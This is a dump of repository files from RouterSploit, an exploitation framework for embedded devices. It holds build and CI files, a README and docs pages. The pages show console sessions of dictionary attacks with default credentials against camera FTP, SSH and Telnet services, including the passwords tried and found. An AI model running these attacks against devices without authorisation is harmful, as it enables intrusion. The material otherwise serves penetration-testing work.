[
  {
    "path": ".dockerignore",
    "content": ".idea/\n.travis/\n\nREADME.md\nLICENSE\n.travis.yml\n*.pyc\n*.log"
  },
  {
    "path": ".github/ISSUE_TEMPLATE.md",
    "content": "! ANY INCOMPLETE REPORT WILL BE CLOSED RIGHT AWAY !\n\n## Steps to Reproduce (for bugs)\n1.\n2.\n3.\n4.\n\n## Your Environment\n* RouterSploit Version used:\n* Operating System and version:\n* Python Version: ( `python3 --version` )\n* Python Environment: ( `python3 -m pip freeze` )\n\n## Current Behavior\n* If describing a bug, tell us what happens instead of the expected behavior\n* If suggesting a change/improvement, tell us how it works right now\n\n## Expected Behavior\n* If you're describing a bug, tell us what should happen\n* If you're suggesting a change/improvement, tell us how it should work\n"
  },
  {
    "path": ".github/PULL_REQUEST_TEMPLATE.md",
    "content": "## Status\n**READY/IN DEVELOPMENT/HOLD**\n\n## Description\nDescribe what is changed by your Pull Request. If this PR is related to the open issue (bug/feature/new module) please attach issue number.\n\n## Verification\nProvide steps to test or reproduce the PR.\n 1. Start `./rsf.py`\n 2. `use exploits/routers/dlink/dsl_2750b_rce`\n 3. `set target 192.168.1.1`\n 4. `run`\n 5. ...\n\n## Checklist\n- [ ] Write module/feature \n- [ ] Write tests ([Example](https://github.com/threat9/routersploit/blob/master/tests/exploits/routers/dlink/test_dsl_2750b_rce.py))\n- [ ] Document how it works ([Example](https://github.com/threat9/routersploit/blob/master/docs/modules/exploits/routers/dlink/dsl_2750b_rce.md))\n"
  },
  {
    "path": ".gitignore",
    "content": "# IntelliJ project files\n.idea\nout\ngen\n\n# Byte-compiled / optimized / DLL files\n__pycache__/\n*.py[cod]\n*$py.class\n\n# C extensions\n*.so\n\n# Distribution / packaging\n.Python\nenv/\nbuild/\ndevelop-eggs/\ndist/\ndownloads/\neggs/\n.eggs/\nlib64/\nparts/\nsdist/\nvar/\n*.egg-info/\n.installed.cfg\n*.egg\n\n# PyInstaller\n#  Usually these files are written by a python script from a template\n#  before PyInstaller builds the exe, so as to inject date/other infos into it.\n*.manifest\n*.spec\n\n# Installer logs\npip-log.txt\npip-delete-this-directory.txt\n\n# Unit test / coverage reports\nhtmlcov/\n.tox/\n.coverage\n.coverage.*\n.cache\n.pytest_cache\nnosetests.xml\ncoverage.xml\n*,cover\n\n# Translations\n*.mo\n*.pot\n\n# Django stuff:\n*.log\n\n# Sphinx documentation\ndocs/_build/\n\n# PyBuilder\ntarget/\n\n# VS Code\n.vscode\n\n# virtualenv\nvenv/\n\n# macOS\n.DS_Store\n.DS_Store?\n\n# vim\n*.swp\n*.swo\n\n# Pipenv files\nPipfile\nPipfile.lock\n\n"
  },
  {
    "path": ".travis/install.sh",
    "content": "#!/bin/bash\n\nset -e\nset -x\n\nif [[ \"$(uname -s)\" == 'Darwin' ]]; then\n    sw_vers\n\n    git clone --depth 1 https://github.com/yyuu/pyenv.git ~/.pyenv\n    PYENV_ROOT=\"$HOME/.pyenv\"\n    PATH=\"$PYENV_ROOT/bin:$PATH\"\n    eval \"$(pyenv init -)\"\n\n    pyenv install $PYTHON_VERSION\n    pyenv global $PYTHON_VERSION\n    pyenv rehash\n\n    pip install --user virtualenv\n    python -m virtualenv ~/.venv\n    source ~/.venv/bin/activate\nfi\n\npython -m pip install --upgrade pip\npython -m pip install -r requirements-dev.txt\n"
  },
  {
    "path": ".travis/run.sh",
    "content": "#!/bin/bash\n\nset -e\nset -x\n\nif [[ \"$(uname -s)\" == \"Darwin\" ]]; then\n    PYENV_ROOT=\"$HOME/.pyenv\"\n    PATH=\"$PYENV_ROOT/bin:$PATH\"\n    eval \"$(pyenv init -)\"\n    source ~/.venv/bin/activate\nfi\n\nmake lint tests\n"
  },
  {
    "path": ".travis.yml",
    "content": "language: python\n\nmatrix:\n  include:\n    - os: linux\n      python: 3.6\n\n    - os: osx\n      language: generic\n      env: PYTHON_VERSION=3.6.1\n\ninstall:\n  - \"./.travis/install.sh\"\n\n\nscript:\n  - \"./.travis/run.sh\"\n"
  },
  {
    "path": "CONTRIBUTING.md",
    "content": "# Contribution Guidelines\n\nThere are many ways to contribute to RouterSploit project, and the routersploit team is grateful for all contributions. This overview summarizes the most important steps to get you started as a contributor.\n\n* Report bugs to the routersploit issue tracker.\n* Make suggestions for changes, updates, or new features to the routersploit issue tracker.\n* Contribute bug fixes, example code, documentation, or tutorials to routersploit.\n* Contribute new features to routersploit.\n\n## Bug reports\n\nWhen submitting bug reports, please consider providing the following information:\n\n* Reproduction steps: step by step description to reproduce the problem.\n* Expected: Describe the behavior you expect.\n* Actual: Describe the behavior you see.\n\n## Testing\nIt is hard to test modules in all possible scenarios. If you would like to help:\n\n1. Check what device you have - identify vendor and version.\n2. Check if routersploit contains exploits for the device you posses.\n3. If exploit does not work but it should, check \"show info\" for more information. References should provide you with links to proof of concept exploits.\n\nExample:\n```\nReferences:\n-  https://www.exploit-db.com/exploits/24975/\n```\n\n4. Try to use proof of concept exploit and check if it works properly. If it does, feel free to create new issue bug with explanation that the routersploit's module does not work properly.\n\n## Development\n* [Creating exploit module](https://github.com/reverse-shell/routersploit/wiki/Creating-Exploit)\n* [Creating creds module](https://github.com/reverse-shell/routersploit/wiki/Creating-Creds)\n* [Creating scanner module](https://github.com/reverse-shell/routersploit/wiki/Creating-Scanner)\n"
  },
  {
    "path": "Dockerfile",
    "content": "FROM python:3.9-bookworm\n\nWORKDIR /routersploit\n\nRUN useradd rts -U -m && \\\n    chown -R rts:rts /routersploit\n\nUSER rts\nCOPY requirements.txt .\nRUN pip install --user --no-cache-dir -r requirements.txt\n\nCOPY routersploit routersploit\nCOPY rsf.py rsf.py\n\n# Not actually needed since present in docker-compose already\nCMD [\"python\", \"rsf.py\"]\n"
  },
  {
    "path": "LICENSE",
    "content": "Copyright 2018, The RouterSploit Framework (RSF) by Threat9 \nAll rights reserved. \n\nRedistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:\n\n    * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.\n    * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.\n    * Neither the name of RouterSploit Framework nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission.\n\nTHIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n\nThe above licensing was taken from the BSD licensing and is applied to RouterSploit Framework as well.\n\nNote that the RouterSploit Framework is provided as is, and is a royalty free open-source application.\n\nFeel free to modify, use, change, market, do whatever you want with it as long as you give the appropriate credit.\n"
  },
  {
    "path": "MANIFEST.in",
    "content": "recursive-include routersploit/resources/ssh_keys *.json *.key\nrecursive-include routersploit/resources/vendors *.dat\nrecursive-include routersploit/resources/wordlists *.txt\n"
  },
  {
    "path": "Makefile",
    "content": ".PHONY: build run test lint lint-modules clean prune help\n\nDIRECTORY=.\nEXCLUDED=.git,rsf.py\nRSF_IMAGE=routersploit\nFLAKE8_IGNORED_RULES=E501,F405,F403,W504\n\nbuild:\n\tdocker build -t $(RSF_IMAGE) .\n\nrun:\n\tdocker run -it --rm $(RSF_IMAGE)\n\nlint:\n\tpython3 -m flake8 --exclude=$(EXCLUDED) --ignore=$(FLAKE8_IGNORED_RULES) $(DIRECTORY)\n\ntests: clean\n\tpython3 -m pytest -n16 tests/core/ tests/test_exploit_scenarios.py tests/test_module_info.py\n\tpython3 -m pytest -n16 tests/exploits/ tests/creds/ tests/encoders/ tests/generic/ tests/payloads/\n\nclean:\n\tfind . -name '*.pyc' -delete\n\tfind . -name '*.pyo' -delete\n\tfind . -name '*~' -delete\n\nprune:\n\tdocker images -q -f dangling=true | xargs docker rmi\n\tdocker ps -q -f status=exited | xargs docker rm\n\nhelp:\n\t@echo \"    run\"\n\t@echo \"        Run Routersploit in docker container\"\n\t@echo \"    lint\"\n\t@echo \"        Check style with flake8.\"\n\t@echo \"    test\"\n\t@echo \"        Run test suite\"\n\t@echo \"    clean\"\n\t@echo \"        Remove python artifacts.\"\n\t@echo \"    prune\"\n\t@echo \"        Remove dangling docker images and exited containers.\"\n"
  },
  {
    "path": "README.md",
    "content": "# RouterSploit - Exploitation Framework for Embedded Devices\n\n[![Python 3.6](https://img.shields.io/badge/Python-3.6-yellow.svg)](http://www.python.org/download/)\n[![Build Status](https://travis-ci.org/threat9/routersploit.svg?branch=master)](https://travis-ci.org/threat9/routersploit)\n\n# Community\nJoin community on [Embedded Exploitation Discord](https://discord.gg/UCXARN2vBx).\n\n# Description\nThe RouterSploit Framework is an open-source exploitation framework dedicated to embedded devices.\n\n[![asciicast](https://asciinema.org/a/180370.png)](https://asciinema.org/a/180370)\n\nIt consists of various modules that aid penetration testing operations:\n\n* exploits - modules that take advantage of identified vulnerabilities\n* creds - modules designed to test credentials against network services\n* scanners - modules that check if a target is vulnerable to any exploit\n* payloads - modules that are responsible for generating payloads for various architectures and injection points\n* generic - modules that perform generic attacks \n\n# Installation\n\n## Requirements\n\nRequired:\n* requests\n* paramiko\n* pysnmp\n* pycrypto\n\nOptional:\n* bluepy - Bluetooth low energy \n\n## Installation on Kali Linux\n\n```\napt-get install python3-pip\ngit clone https://www.github.com/threat9/routersploit\ncd routersploit\npython3 -m pip install -r requirements.txt\npython3 rsf.py\n```\n\nBluetooth Low Energy support:\n```\napt-get install libglib2.0-dev\npython3 -m pip install bluepy\npython3 rsf.py\n```\n\n## Installation on Ubuntu 20.04\n\n```\nsudo apt-get install git python3-pip\ngit clone https://github.com/threat9/routersploit\ncd routersploit\npython3 -m pip install -r requirements.txt\npython3 rsf.py\n```\n\nBluetooth Low Energy support:\n\n```\nsudo apt-get install libglib2.0-dev\npython3 -m pip install bluepy\npython3 rsf.py\n```\n\n## Installation on Ubuntu 18.04 & 17.10\n\n```\nsudo add-apt-repository universe\nsudo apt-get install git python3-pip\ngit clone https://www.github.com/threat9/routersploit\ncd routersploit\npython3 -m pip install setuptools\npython3 -m pip install -r requirements.txt\npython3 rsf.py\n```\n\nBluetooth Low Energy support:\n```\napt-get install libglib2.0-dev\npython3 -m pip install bluepy\npython3 rsf.py\n```\n\n\n## Installation on OSX\n\n```\ngit clone https://www.github.com/threat9/routersploit\ncd routersploit\nsudo python3 -m pip install -r requirements.txt\npython3 rsf.py\n```\n\n## Running on Docker\n\n```\ngit clone https://www.github.com/threat9/routersploit\ncd routersploit\ndocker compose up --build -d\ndocker attach routersploit\n```\n### To run again without rebuild\n\n```\ndocker start routersploit\ndocker attach routersploit\n```\n\n# Update\n\nUpdate RouterSploit Framework often. The project is under heavy development and new modules are shipped almost every day.\n\n```\ncd routersploit\ngit pull\n```\n\n# Build your own\nTo our surprise, people started to fork \n[routersploit](https://github.com/threat9/routersploit) not because they were \ninterested in the security of embedded devices but simply because they want to \nleverage our interactive shell logic and build their tools using similar \nconcept. All these years they must have said: _\"There must be a better way!\"_ \nand they were completely right, the better way is called \n[_Riposte_](https://github.com/fwkz/riposte).\n\n[_Riposte_](https://github.com/fwkz/riposte) allows you to easily wrap your \napplication inside a tailored interactive shell. Common chores regarding \nbuilding REPLs was factored out and being taken care of so you can \nfocus on specific domain logic of your application.\n# License\n\nThe RouterSploit Framework is under a BSD license.\nPlease see [LICENSE](LICENSE) for more details.\n\n# Acknowledgments\n* [riposte](https://github.com/fwkz/riposte)\n"
  },
  {
    "path": "docker-compose.yaml",
    "content": "services:\n  routersploit:\n    build:\n      context: .\n      dockerfile: Dockerfile\n    container_name: routersploit\n    environment:\n      - PYTHONUNBUFFERED=1 \n    stdin_open: true  \n    tty: true        \n    command: [\"python\",\"rsf.py\"]"
  },
  {
    "path": "docs/modules/creds/cameras/acti/ftp_default_creds.md",
    "content": "## Description\n\nModule performs dictionary attack with default credentials against Acti Camera FTP service.\nIf valid credentials are found, they are displayed to the user.\n\n## Verification Steps\n\n  1. Start `./rsf.py`\n  2. Do: `use creds/cameras/acti/ftp_default_creds`\n  3. Do: `set target [TargetIP]`\n  4. Do: `run`\n  5. If valid credentials are found, they are displayed to the user.\n\n## Scenarios\n\n```\nrsf > use creds/cameras/acti/ftp_default_creds\nrsf (Acti Camera Default FTP Creds) > set target 192.168.1.1\n[+] target => 192.168.1.1\nrsf (Acti Camera Default FTP Creds) > run\n[*] Running module...\n[*] Target exposes FTP service\n[*] Starting attack against FTP service\n[*] thread-0 thread is starting...\n[-] Authentication Failed - Username: 'admin' Password: '12345'\n[-] Authentication Failed - Username: 'admin' Password: '123456'\n[-] Authentication Failed - Username: 'Admin' Password: '12345'\n[-] Authentication Failed - Username: 'Admin' Password: '123456'\n[+] Authenticated Succeed - Username: 'admin' Password: 'admin'\n[*] thread-0 thread is terminated.\n[*] Elapsed time: 0.06290411949157715 seconds\n[+] Credentials found!\n\n   Target          Port     Service     Username     Password\n   ------          ----     -------     --------     --------\n   192.168.1.1     21       ftp         admin        admin \n\n```\n"
  },
  {
    "path": "docs/modules/creds/cameras/acti/ssh_default_creds.md",
    "content": "## Description\n\nModule performs dictionary attack with default credentials against Acti Camera SSH service.\nIf valid credentials are found, they are displayed to the user.\n\n## Verification Steps\n\n  1. Start `./rsf.py`\n  2. Do: `use creds/cameras/acti/ssh_default_creds`\n  3. Do: `set target [TargetIP]`\n  4. Do: `run`\n  5. If valid credentials are found, they are displayed to the user.\n\n## Scenarios\n\n```\nrsf > use creds/cameras/acti/ssh_default_creds\nrsf (Acti Camera Default SSH Creds) > set target 192.168.1.1\n[+] target => 192.168.1.1\nrsf (Acti Camera Default SSH Creds) > run\n[*] Running module...\n[*] Target exposes SSH service\n[*] Starting default credentials attack against SSH service\n[*] thread-0 thread is starting...\n[-] SSH Authentication Failed - Username: 'admin' Password: '12345'\n[-] SSH Authentication Failed - Username: 'admin' Password: '123456'\n[-] SSH Authentication Failed - Username: 'Admin' Password: '12345'\n[-] SSH Authentication Failed - Username: 'Admin' Password: '123456'\n[+] SSH Authentication Successful - Username: 'admin' Password: 'admin'\n[*] thread-0 thread is terminated.\n[*] Elapsed time: 2.3932292461395264 seconds\n[+] Credentials found!\n\n   Target          Port     Service     Username     Password\n   ------          ----     -------     --------     --------\n   192.168.1.1     22       ssh         admin        admin \n\n```\n"
  },
  {
    "path": "docs/modules/creds/cameras/acti/telnet_default_creds.md",
    "content": "## Description\n\nModule performs dictionary attack with default credentials against Acti Camera Telnet service.\nIf valid credentials are found, they are displayed to the user.\n\n## Verification Steps\n\n  1. Start `./rsf.py`\n  2. Do: `use creds/cameras/acti/telnet_default_creds`\n  3. Do: `set target [TargetIP]`\n  4. Do: `run`\n  5. If valid credentials are found, they are displayed to the user.\n\n## Scenarios\n\n```\nrsf > use creds/cameras/acti/telnet_default_creds\nrsf (Acti Camera Default Telnet Creds) > set target 192.168.1.1\n[+] target => 192.168.1.1\nrsf (Acti Camera Default Telnet Creds) > run\n[*] Running module...\n[*] Target exposes Telnet service\n[*] Starting default credentials attack against Telnet service\n[*] thread-0 thread is starting...\n[-] Telnet Authentication Failed - Username: 'admin' Password: 'admin'\n[-] Telnet Authentication Failed - Username: '1234' Password: '1234'\n[-] Telnet Authentication Failed - Username: 'root' Password: '12345'\n[-] Telnet Authentication Failed - Username: 'root' Password: 'root'\n[+] Telnet Authentication Successful - Username: 'user' Password: 'user'\n[*] thread-0 thread is terminated.\n[*] Elapsed time: 5.389287948608398 seconds\n[+] Credentials found!\n\n   Target          Port     Service     Username     Password\n   ------          ----     -------     --------     --------\n   192.168.1.1     23       telnet      user         user\n\n```\n"
  },
  {
    "path": "docs/modules/creds/cameras/american_dynamics/ftp_default_creds.md",
    "content": "## Description\n\nModule performs dictionary attack with default credentials against American Dynamics Camera FTP service.\nIf valid credentials are found, they are displayed to the user.\n\n## Verification Steps\n\n  1. Start `./rsf.py`\n  2. Do: `use creds/cameras/american_dynamics/ssh_default_creds`\n  3. Do: `set target [TargetIP]`\n  4. Do: `run`\n  5. If valid credentials are found, they are displayed to the user.\n\n## Scenarios\n\n```\nrsf > use creds/cameras/american_dynamics/ftp_default_creds\nrsf (American Dynamics Camera Default FTP Creds) > set target 192.168.1.1\n[+] target => 192.168.1.1\nrsf (American Dynamics Camera Default FTP Creds) > run\n[*] Running module...\n[*] Target exposes FTP service\n[*] Starting attack against FTP service\n[*] thread-0 thread is starting...\n[-] Authentication Failed - Username: 'admin' Password: '12345'\n[-] Authentication Failed - Username: 'admin' Password: '123456'\n[-] Authentication Failed - Username: 'Admin' Password: '12345'\n[-] Authentication Failed - Username: 'Admin' Password: '123456'\n[+] Authenticated Succeed - Username: 'admin' Password: 'admin'\n[*] thread-0 thread is terminated.\n[*] Elapsed time: 0.06290411949157715 seconds\n[+] Credentials found!\n\n   Target          Port     Service     Username     Password\n   ------          ----     -------     --------     --------\n   192.168.1.1     21       ftp         admin        admin \n\n```\n"
  },
  {
    "path": "docs/modules/creds/cameras/american_dynamics/ssh_default_creds.md",
    "content": "## Description\n\nModule performs dictionary attack with default credentials against American Dynamics Camera SSH service.\nIf valid credentials are found, they are displayed to the user.\n\n## Verification Steps\n\n  1. Start `./rsf.py`\n  2. Do: `use creds/cameras/american_dynamics/ssh_default_creds`\n  3. Do: `set target [TargetIP]`\n  4. Do: `run`\n  5. If valid credentials are found, they are displayed to the user.\n\n## Scenarios\n\n```\nrsf > use creds/cameras/american_dynamics/ssh_default_creds\nrsf (American Dynamics Camera Default SSH Creds) > set target 192.168.1.1\n[+] target => 192.168.1.1\nrsf (American Dynamics Camera Default SSH Creds) > run\n[*] Running module...\n[*] Target exposes SSH service\n[*] Starting default credentials attack against SSH service\n[*] thread-0 thread is starting...\n[-] SSH Authentication Failed - Username: 'admin' Password: '12345'\n[-] SSH Authentication Failed - Username: 'admin' Password: '123456'\n[-] SSH Authentication Failed - Username: 'Admin' Password: '12345'\n[-] SSH Authentication Failed - Username: 'Admin' Password: '123456'\n[+] SSH Authentication Successful - Username: 'admin' Password: 'admin'\n[*] thread-0 thread is terminated.\n[*] Elapsed time: 2.3932292461395264 seconds\n[+] Credentials found!\n\n   Target          Port     Service     Username     Password\n   ------          ----     -------     --------     --------\n   192.168.1.1     22       ssh         admin        admin \n\n```\n"
  },
  {
    "path": "docs/modules/creds/cameras/american_dynamics/telnet_default_creds.md",
    "content": "## Description\n\nModule performs dictionary attack with default credentials against American Dynamics Camera Telnet service.\nIf valid credentials are found, they are displayed to the user.\n\n## Verification Steps\n\n  1. Start `./rsf.py`\n  2. Do: `use creds/cameras/american_dynamics/telnet_default_creds`\n  3. Do: `set target [TargetIP]`\n  4. Do: `run`\n  5. If valid credentials are found, they are displayed to the user.\n\n## Scenarios\n\n```\nrsf > use creds/cameras/american_dynamics/telnet_default_creds\nrsf (American Dynamics Camera Default Telnet Creds) > set target 192.168.1.1\n[+] target => 192.168.1.1\nrsf (American Dynamics Camera Default Telnet Creds) > run\n[*] Running module...\n[*] Target exposes Telnet service\n[*] Starting default credentials attack against Telnet service\n[*] thread-0 thread is starting...\n[-] Telnet Authentication Failed - Username: 'admin' Password: 'admin'\n[-] Telnet Authentication Failed - Username: '1234' Password: '1234'\n[-] Telnet Authentication Failed - Username: 'root' Password: '12345'\n[-] Telnet Authentication Failed - Username: 'root' Password: 'root'\n[+] Telnet Authentication Successful - Username: 'user' Password: 'user'\n[*] thread-0 thread is terminated.\n[*] Elapsed time: 5.389287948608398 seconds\n[+] Credentials found!\n\n   Target          Port     Service     Username     Password\n   ------          ----     -------     --------     --------\n   192.168.1.1     23       telnet      user         user\n\n```\n"
  },
  {
    "path": "docs/modules/creds/cameras/arecont/ftp_default_creds.md",
    "content": "## Description\n\nModule performs dictionary attack with default credentials against Arecont Camera FTP service.\nIf valid credentials are found, they are displayed to the user.\n\n## Verification Steps\n\n  1. Start `./rsf.py`\n  2. Do: `use creds/cameras/arecont/ssh_default_creds`\n  3. Do: `set target [TargetIP]`\n  4. Do: `run`\n  5. If valid credentials are found, they are displayed to the user.\n\n## Scenarios\n\n```\nrsf > use creds/cameras/arecont/ftp_default_creds\nrsf (Arecont Camera Default FTP Creds) > set target 192.168.1.1\n[+] target => 192.168.1.1\nrsf (Arecont Camera Default FTP Creds) > run\n[*] Running module...\n[*] Target exposes FTP service\n[*] Starting attack against FTP service\n[*] thread-0 thread is starting...\n[-] Authentication Failed - Username: 'admin' Password: '12345'\n[-] Authentication Failed - Username: 'admin' Password: '123456'\n[-] Authentication Failed - Username: 'Admin' Password: '12345'\n[-] Authentication Failed - Username: 'Admin' Password: '123456'\n[+] Authenticated Succeed - Username: 'admin' Password: 'admin'\n[*] thread-0 thread is terminated.\n[*] Elapsed time: 0.06290411949157715 seconds\n[+] Credentials found!\n\n   Target          Port     Service     Username     Password\n   ------          ----     -------     --------     --------\n   192.168.1.1     21       ftp         admin        admin \n\n```\n"
  },
  {
    "path": "docs/modules/creds/cameras/arecont/ssh_default_creds.md",
    "content": "## Description\n\nModule performs dictionary attack with default credentials against Arecont Camera SSH service.\nIf valid credentials are found, they are displayed to the user.\n\n## Verification Steps\n\n  1. Start `./rsf.py`\n  2. Do: `use creds/cameras/arecont/ssh_default_creds`\n  3. Do: `set target [TargetIP]`\n  4. Do: `run`\n  5. If valid credentials are found, they are displayed to the user.\n\n## Scenarios\n\n```\nrsf > use creds/cameras/arecont/ssh_default_creds\nrsf (Arecont Camera Default SSH Creds) > set target 192.168.1.1\n[+] target => 192.168.1.1\nrsf (Arecont Camera Default SSH Creds) > run\n[*] Running module...\n[*] Target exposes SSH service\n[*] Starting default credentials attack against SSH service\n[*] thread-0 thread is starting...\n[-] SSH Authentication Failed - Username: 'admin' Password: '12345'\n[-] SSH Authentication Failed - Username: 'admin' Password: '123456'\n[-] SSH Authentication Failed - Username: 'Admin' Password: '12345'\n[-] SSH Authentication Failed - Username: 'Admin' Password: '123456'\n[+] SSH Authentication Successful - Username: 'admin' Password: 'admin'\n[*] thread-0 thread is terminated.\n[*] Elapsed time: 2.3932292461395264 seconds\n[+] Credentials found!\n\n   Target          Port     Service     Username     Password\n   ------          ----     -------     --------     --------\n   192.168.1.1     22       ssh         admin        admin \n\n```\n"
  },
  {
    "path": "docs/modules/creds/cameras/arecont/telnet_default_creds.md",
    "content": "## Description\n\nModule performs dictionary attack with default credentials against Arecont Camera Telnet service.\nIf valid credentials are found, they are displayed to the user.\n\n## Verification Steps\n\n  1. Start `./rsf.py`\n  2. Do: `use creds/cameras/arecont/telnet_default_creds`\n  3. Do: `set target [TargetIP]`\n  4. Do: `run`\n  5. If valid credentials are found, they are displayed to the user.\n\n## Scenarios\n\n```\nrsf > use creds/cameras/arecont/telnet_default_creds\nrsf (Arecont Camera Default Telnet Creds) > set target 192.168.1.1\n[+] target => 192.168.1.1\nrsf (Arecont Camera Default Telnet Creds) > run\n[*] Running module...\n[*] Target exposes Telnet service\n[*] Starting default credentials attack against Telnet service\n[*] thread-0 thread is starting...\n[-] Telnet Authentication Failed - Username: 'admin' Password: 'admin'\n[-] Telnet Authentication Failed - Username: '1234' Password: '1234'\n[-] Telnet Authentication Failed - Username: 'root' Password: '12345'\n[-] Telnet Authentication Failed - Username: 'root' Password: 'root'\n[+] Telnet Authentication Successful - Username: 'user' Password: 'user'\n[*] thread-0 thread is terminated.\n[*] Elapsed time: 5.389287948608398 seconds\n[+] Credentials found!\n\n   Target          Port     Service     Username     Password\n   ------          ----     -------     --------     --------\n   192.168.1.1     23       telnet      user         user\n\n```\n"
  },
  {
    "path": "docs/modules/creds/cameras/avigilon/ftp_default_creds.md",
    "content": "## Description\n\nModule performs dictionary attack with default credentials against Avigilon Camera FTP service.\nIf valid credentials are found, they are displayed to the user.\n\n## Verification Steps\n\n  1. Start `./rsf.py`\n  2. Do: `use creds/cameras/avigilon/ssh_default_creds`\n  3. Do: `set target [TargetIP]`\n  4. Do: `run`\n  5. If valid credentials are found, they are displayed to the user.\n\n## Scenarios\n\n```\nrsf > use creds/cameras/avigilon/ftp_default_creds\nrsf (Avigilon Camera Default FTP Creds) > set target 192.168.1.1\n[+] target => 192.168.1.1\nrsf (Avigilon Camera Default FTP Creds) > run\n[*] Running module...\n[*] Target exposes FTP service\n[*] Starting attack against FTP service\n[*] thread-0 thread is starting...\n[-] Authentication Failed - Username: 'admin' Password: '12345'\n[-] Authentication Failed - Username: 'admin' Password: '123456'\n[-] Authentication Failed - Username: 'Admin' Password: '12345'\n[-] Authentication Failed - Username: 'Admin' Password: '123456'\n[+] Authenticated Succeed - Username: 'admin' Password: 'admin'\n[*] thread-0 thread is terminated.\n[*] Elapsed time: 0.06290411949157715 seconds\n[+] Credentials found!\n\n   Target          Port     Service     Username     Password\n   ------          ----     -------     --------     --------\n   192.168.1.1     21       ftp         admin        admin \n\n```\n"
  },
  {
    "path": "docs/modules/creds/cameras/avigilon/ssh_default_creds.md",
    "content": "## Description\n\nModule performs dictionary attack with default credentials against Avigilon Camera SSH service.\nIf valid credentials are found, they are displayed to the user.\n\n## Verification Steps\n\n  1. Start `./rsf.py`\n  2. Do: `use creds/cameras/avigilon/ssh_default_creds`\n  3. Do: `set target [TargetIP]`\n  4. Do: `run`\n  5. If valid credentials are found, they are displayed to the user.\n\n## Scenarios\n\n```\nrsf > use creds/cameras/avigilon/ssh_default_creds\nrsf (Avigilon Camera Default SSH Creds) > set target 192.168.1.1\n[+] target => 192.168.1.1\nrsf (Avigilon Camera Default SSH Creds) > run\n[*] Running module...\n[*] Target exposes SSH service\n[*] Starting default credentials attack against SSH service\n[*] thread-0 thread is starting...\n[-] SSH Authentication Failed - Username: 'admin' Password: '12345'\n[-] SSH Authentication Failed - Username: 'admin' Password: '123456'\n[-] SSH Authentication Failed - Username: 'Admin' Password: '12345'\n[-] SSH Authentication Failed - Username: 'Admin' Password: '123456'\n[+] SSH Authentication Successful - Username: 'admin' Password: 'admin'\n[*] thread-0 thread is terminated.\n[*] Elapsed time: 2.3932292461395264 seconds\n[+] Credentials found!\n\n   Target          Port     Service     Username     Password\n   ------          ----     -------     --------     --------\n   192.168.1.1     22       ssh         admin        admin \n\n```\n"
  },
  {
    "path": "docs/modules/creds/cameras/avigilon/telnet_default_creds.md",
    "content": "## Description\n\nModule performs dictionary attack with default credentials against Avigilon Camera Telnet service.\nIf valid credentials are found, they are displayed to the user.\n\n## Verification Steps\n\n  1. Start `./rsf.py`\n  2. Do: `use creds/cameras/avigilon/telnet_default_creds`\n  3. Do: `set target [TargetIP]`\n  4. Do: `run`\n  5. If valid credentials are found, they are displayed to the user.\n\n## Scenarios\n\n```\nrsf > use creds/cameras/avigilon/telnet_default_creds\nrsf (Avigilon Camera Default Telnet Creds) > set target 192.168.1.1\n[+] target => 192.168.1.1\nrsf (Avigilon Camera Default Telnet Creds) > run\n[*] Running module...\n[*] Target exposes Telnet service\n[*] Starting default credentials attack against Telnet service\n[*] thread-0 thread is starting...\n[-] Telnet Authentication Failed - Username: 'admin' Password: 'admin'\n[-] Telnet Authentication Failed - Username: '1234' Password: '1234'\n[-] Telnet Authentication Failed - Username: 'root' Password: '12345'\n[-] Telnet Authentication Failed - Username: 'root' Password: 'root'\n[+] Telnet Authentication Successful - Username: 'user' Password: 'user'\n[*] thread-0 thread is terminated.\n[*] Elapsed time: 5.389287948608398 seconds\n[+] Credentials found!\n\n   Target          Port     Service     Username     Password\n   ------          ----     -------     --------     --------\n   192.168.1.1     23       telnet      user         user\n\n```\n"
  },
  {
    "path": "docs/modules/creds/cameras/avtech/ftp_default_creds.md",
    "content": "## Description\n\nModule performs dictionary attack with default credentials against Avtech Camera FTP service.\nIf valid credentials are found, they are displayed to the user.\n\n## Verification Steps\n\n  1. Start `./rsf.py`\n  2. Do: `use creds/cameras/avtech/ssh_default_creds`\n  3. Do: `set target [TargetIP]`\n  4. Do: `run`\n  5. If valid credentials are found, they are displayed to the user.\n\n## Scenarios\n\n```\nrsf > use creds/cameras/avtech/ftp_default_creds\nrsf (Avtech Camera Default FTP Creds) > set target 192.168.1.1\n[+] target => 192.168.1.1\nrsf (Avtech Camera Default FTP Creds) > run\n[*] Running module...\n[*] Target exposes FTP service\n[*] Starting attack against FTP service\n[*] thread-0 thread is starting...\n[-] Authentication Failed - Username: 'admin' Password: '12345'\n[-] Authentication Failed - Username: 'admin' Password: '123456'\n[-] Authentication Failed - Username: 'Admin' Password: '12345'\n[-] Authentication Failed - Username: 'Admin' Password: '123456'\n[+] Authenticated Succeed - Username: 'admin' Password: 'admin'\n[*] thread-0 thread is terminated.\n[*] Elapsed time: 0.06290411949157715 seconds\n[+] Credentials found!\n\n   Target          Port     Service     Username     Password\n   ------          ----     -------     --------     --------\n   192.168.1.1     21       ftp         admin        admin \n\n```\n"
  },
  {
    "path": "docs/modules/creds/cameras/avtech/ssh_default_creds.md",
